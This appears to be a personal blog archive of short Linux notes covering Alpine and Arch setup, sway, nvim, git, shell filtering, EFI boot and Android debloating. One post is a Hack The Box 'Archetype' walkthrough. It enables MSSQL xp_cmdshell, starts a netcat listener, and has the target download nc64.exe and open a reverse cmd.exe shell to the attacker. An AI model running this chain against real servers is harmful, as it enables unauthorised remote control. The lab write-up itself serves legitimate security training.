Skip to main content


Showing posts from January, 2022

mime linux

sudo pacman -S perl-file-mimeinfo provides mimeopen,mimetype mimetype .fileextension example: $ .py:   text/x-python   pkg xdg-utils   has xdg-open and xdg-mime xdg-mime query filetype photo.jpeg xdg-mime query default image/jpeg xdg-mime default feh.desktop image/jpeg env XDG_UTILS_DEBUG_LEVEL=10 xdg-mime query default text/html         alt   cp config $HOME/.config/busking/config @^(https?://|www\.) = $BROWSER image/ = imv video/ = mpv audio/ = mpv text/ = nvim::alacritty application/pdf = zathura inode/directory = ranger?:alacritty     src ---------------------------------------------------------------------------------------------------- my new mime for pcmanfm on alpine  cat .config/mimeapps.list  [Removed Associations] [Added Associations]


 sudo pacman -S fzf  sudo pacman -Fy # <- only run this once  pacman -Slq | fzf -m --preview 'cat <(pacman -Si {1}) <(pacman -Fl {1} | awk "{print \$2}")' | xargs -ro sudo pacman -S

windows like vim /nvim config

nvim $HOME/.config/nvim/init.vim   "windows mode " backspace in Visual mode deletes selection vnoremap <BS> d if has("clipboard")     " CTRL-X and SHIFT-Del are Cut     vnoremap <C-X> "+x     vnoremap <S-Del> "+x     " CTRL-C and CTRL-Insert are Copy     vnoremap <C-C> "+y     vnoremap <C-Insert> "+y     " CTRL-V and SHIFT-Insert are Paste     map <C-V>        "+gP     map <S-Insert>        "+gP     cmap <C-V>        <C-R>+     cmap <S-Insert>        <C-R>+ endif if 1     exe 'inoremap <script> <C-V> <C-G>u' . paste#paste_cmd['i']     exe 'vnoremap <script> <C-V> ' . paste#paste_cmd['v'] endif imap <S-Insert>        <C-V> vmap <S-Insert>        <C-V> " Use CTRL-Q to do what CTRL-V used to do noremap <C-Q>        <C-V> " Use CTRL-S for saving, also in

silent openrc

 /etc/inittab  ::sysinit:/sbin/openrc --quiet sysinit ::sysinit:/sbin/openrc --quiet  boot ::wait:/sbin/openrc --quiet  default ::shutdown:/sbin/openrc --quiet  shutdown    src

alpine linux autologin tty

 doas apk add util-linux this gives agetty doas nano /etc/inittab tty1::respawn:/sbin/agetty --skip-login --nonewline --noissue --autologin $USER --noclear   38400 tty1 replace $USER with username   --skip-login --nonewline --noissue options for silent boot src::  

pushing to git

 git init git add . git status git commit -m "commit message u want"  git remote add origin  "remote git/lab/hub url" create access token if u have 2fa remember token its used as password git push -u origin master it created two branch in github repo one main and another master     pull   git pull 'remote_name' 'branch_name' .   make new branch git checkout -b 'new_branch' git push origin new_branch     src:    

sway(wayland) emoji

wayland emoji  apk add rofi-wayland wtype wl-clipboard   git clone --depth=1 nano ~/splatmoji/splatmoji.config paste_command=wl-paste xdotool_command= wtype xsel_command=wl-copy or pip install rofimoji add binaries to path ~/.config/sway/config bindsym $mod+Slash exec ~/splatmoji/splatmoji type

impacket install (for htb archetype)

sudo apt install nmap nmap -sC -sV {TARGET_IP} sudo apt install smbclient smbclient -N -L \\\\{TARGET_IP}\\ -N : No password -L : This option allows you to look at what services are available on a server smbclient -N \\\\{TARGET_IP}\\backups apt search impacket   sudo apt install impacket-scripts python3-impacket ARCHETYPE/[email protected]{TARGET_IP} -windows-auth find ip addr of vpn using ip addr SQL> EXEC xp_cmdshell 'net user'; EXEC sp_configure 'show advanced options', 1;  RECONFIGURE;  sp_configure;   EXEC sp_configure 'xp_cmdshell', 1;  RECONFIGURE; SQL> xp_cmdshell "whoami"cd Downloads sudo python3 -m http.server 80 sudo nc -lvnp 443 SQL> xp_cmdshell "powershell -c pwd" SQL>  xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget -outfile nc64.exe SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 443" powersh

filter text

 less,more = page reader head = 1st 10 line read tail = last 10 line default sort :: cat /etc/passwd | sort grep  search for pattern cat /etc/passwd | grep "/bin/bash" exclude pattern with - cat /etc/passwd | grep -v "false\|nologin" cut cat /etc/passwd | grep -v "false\|nologin" | cut -d ":" -f1 -f specifies field -d delimiter (separator)   TR replace characters with others first option, we define which character we want to replace, and as a second option, we define the character we want to replace it with cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " column displays in column  form cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | column -t awk first ($1) and last ($NF) result of the lin cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | awk '{print $1 , $NF }' sed The "s&quo

file descriptors

Data Stream for Input STDIN – 0 Data Stream for Output STDOUT – 1 Data Stream for Output that relates to an error occurring. STDERR – 2 find /etc/ -name shadow 2 > /dev/null redirect errors to null Redirect STDOUT to a File find /etc/ -name shadow 2 > /dev/null > results.txt Redirect STDOUT and STDERR to Separate Files find /etc/ -name shadow 2 > stderr.txt 1 > stdout.txt Redirect STDIN cat < stdout.txt Redirect STDOUT and Append to a File find /etc/ -name passwd >> stdout.txt 2 > /dev/null Redirect STDIN Stream to a File cat << EOF > stream.txt  End-Of-File (EOF) function of a Linux system file, which defines the input's end.  Pipes to use the STDOUT from one program to be processed by another.  find /etc/ -name *.conf 2 > /dev/null | grep systemd find /etc/ -name *.conf 2 > /dev/null | grep systemd | wc -l

search linux

find   find / -type f -name *.conf -newermt 2020-03-03 -size +25k -size -28k -exec ls -al {} \; 2>/dev/null -type f Hereby, we define the type of the searched object. In this case, ' f ' stands for ' file '. -name *.conf With ' -name ', we indicate the name of the file we are looking for. The asterisk ( * ) stands for 'all' files with the ' .conf ' extension. -user root This option filters all files whose owner is the root user. -size +20k We can then filter all the located files and specify that we only want to see the files that are larger than 20 KiB. -newermt 2020-03-03 With this option, we set the date. Only files newer than the specified date will be presented. -exec ls -al {} \; This option executes the specified command, using the curly brackets as placeholders for each result. The backslash escapes the next character from being interpreted by the shell because otherwise, the semicolon would terminate the command and not reach the redi

simple webserver

npm install http-server http-server -p 8080 python  python3 -m http.server python - m http . server 8000 php php -S localhost:8000 php -S src::

control system using anaconda

conda install numpy scipy matplotlib # if not yet installed conda install - c conda - forge control slycot ----------------------------------------------------- # - demonstrate some standard MATLAB commands # RMM, 25 May 09 import os import matplotlib.pyplot as plt # MATLAB plotting functions from control.matlab import * # MATLAB-like functions # Parameters defining the system m = 250.0 # system mass k = 40.0 # spring constant b = 60.0 # damping constant # System matrices A = [[ 0 , 1 .], [-k/m, -b/m]] B = [[ 0 ], [ 1 /m]] C = [[ 1 ., 0 ]] sys = ss(A, B, C, 0 ) # Step response for the system plt.figure( 1 ) yout, T = step(sys) plt.plot(T.T, yout.T) block = False ) # Bode plot for the system plt.figure( 2 ) mag, phase, om = bode(sys, logspace(- 2 , 2 ), plot = True ) block = False ) # Nyquist plot for the system plt.figure( 3 ) nyquist(sys) block = False ) # Root lcous plot for the sys

polar plot anaconda

 conda install numpy matplotlib  apt install vscodium  ----------------------------- import numpy as np import matplotlib.pyplot as plt     # setting the axes proj as polar plt.axes(projection = 'polar' )     # setting the length # and number of petals a = 1 n = 6     # creating an array # containing the radian values rads = np.arange( 0 , 2 * np.pi, 0.001 )      # plotting the rose for rad in rads:      r = a * np.cos(n * rad)      plt.polar(rad, r, 'g.' )      # display the polar plot ---------------------------------


    boot  runlevels: 1.sysinit 2.shutdown 3.nonetwork 4.default 5.boot ------- 1.sysinit(/etc/runlevels/sysinit) ln -s /etc/init.d/udev-trigger udev-trigger ln -s /etc/init.d/dmesg dmesg ln -s  /etc/init.d/devfs devfs  ln -s  /etc/init.d/udev udev 2.shutdown(/etc/runlevels/shutdown) /etc/init.d/savecache /etc/init.d/killprocs /etc/init.d/mount-ro 3. empty   4.default   /etc/init.d/udev-postmount /etc/init.d/seatd 5.boot /etc/init.d/wpa_supplicant /etc/init.d/networking  /etc/init.d/hostname /etc/init.d/bootmisc /etc/init.d/urandom /etc/init.d/modules /etc/init.d/hwclock /etc/init.d/sysctl

net alpine

 cat /etc/network/interfaces   auto lo iface lo inet loopback auto wlan0 iface wlan0 inet static     address     netmask     gateway     cat  /etc/wpa_supplicant/wpa_supplicant.conf network={     ssid="kwifi_ssid"     #psk="wifi_password" } echo "shortname" > /etc/hostname hostname -F /etc/hostname ::1 localhost ipv6-localhost ipv6-loopback fe00::0 ipv6-localnet ff00::0 ipv6-mcastprefix ff02::1 ipv6-allnodes ff02::2 ipv6-allrouters ff02::3 ipv6-allhosts cat /etc/resolv.conf   nameserver nameserver #  nameserver 2001:470:20::2    modprobe ipv6 echo "ipv6" >> /etc/modules   --------- auto eth0 iface eth0 inet dhcp   iface eth0 inet static address gateway iface eth0 inet static address   wpa_supplicant -i wl

swaybar status DATE=$(date "+%a-%b-%d-%Y %I:%M%p") BATSTAT=$(cat /sys/class/power_supply/BAT0/status) BATPERC=$(cat /sys/class/power_supply/BAT0/capacity) VSTAT="$(amixer get Master)" VMUTE=" " echo "$VSTAT" | grep "\[off\]" >/dev/null && VMUTE="muted" VOLUME=$(echo "$VSTAT" | grep -o "\[[0-9]\+%\]" | sed "s/[^0-9]*//g;1q") WIFI="$(awk '/^\s*w/ { print "", int($3 * 100 / 70) "% " }' /proc/net/wireless)" KBLAYOUT=$(swaymsg -t get_inputs | grep -m1 'xkb_active_layout_name' |  awk -F '"' '{print $4}') BNESS="$(brightnessctl get)" MAX="$(brightnessctl max)" BLPERC="$((BNESS*100/MAX))" NIGHT= pgrep wlsunset && NIGHT= echo  $KBLAYOUT $NIGHT $BLPERC  $VMUTE $VOLUME  $WIFI   $BATPERC% $BATSTAT $DATE     bar {       position top  #swaybar_command waybar  status_command while ~/.config/swa

middle click sway

 ~/.config/sway/config input type:touchpad {     tap enabled     dwt enabled     middle_emulation enabled     natural_scroll disabled    # accel_profile "adaptive"     #pointer_accel 1      } middle click use: >select text and paste it with middle click no hassle ctrl+c/v  > open link in new tab >open dock/launchers/folder in new window   

get weather using curl

 nano ----------------------------------------- while [ 1 ] do     weather=$(curl -Ss '')     echo "$weather"     sleep 60 done ----------------------------------------------------------------------------------------------------------------------- src powershell Invoke-RestMethod https: //   HELP curl for data rich format  

efistub boot using efibootmgr

sudo blkid   # to get root uuid and set label and efi partition  nano efi ---------------------------------------------------------------------------------------------------- #!/bin/sh params="root=UUID= 2e5bf9f5-4dde-4c3f-aed4-50fbbf886be2   modules= sd-mod ,usb-storage,ext4 quiet loglevel=3   initrd=\initramfs-lts" efibootmgr --create --label " Alp " \   --disk /dev/nvme0n1 --part 1 \   --loader /vmlinuz-lts \   --unicode "${params}" \   --verbose -------------------------------------------------------------------------------- #for archlinux  #!/bin/sh params="root=UUID=a8023f6f-67a8-43db-a24d-d39ce5fdb45d  quiet loglevel=3   initrd=\booster-linux.img" efibootmgr --create --label "Arch" \   --disk /dev/nvme0n1 --part 1 \   --loader /vmlinuz-linux \   --unicode "${params}" \   --verbose ---------------------------------------------------------------------------------------------------------------------   sudo ./efi src:  ht

realme debloat

pm disable-user --user 0 pm enable --user 0 pm list packages -d pm uninstall --user 0 cmd package install-existing pm list packages pm list packages | sort pm list packages google dumpsys package pm uninstall -k --user 0 ::keeps data pm uninstall --user 0     ::delete data ------------------------------------------------------------------------------------------ RMX2180:/ $ pm list packages package:com.f1soft.esewa package:android.frameworkres.overlay package:com.mediatek.gba package:com.mediatek.ims package:com.factory.mmigroup package:com.coloros.onekeylockscreen package:com.coloros.phonenoareainquire package:com.oppo.oppopowermonitor package:com.andro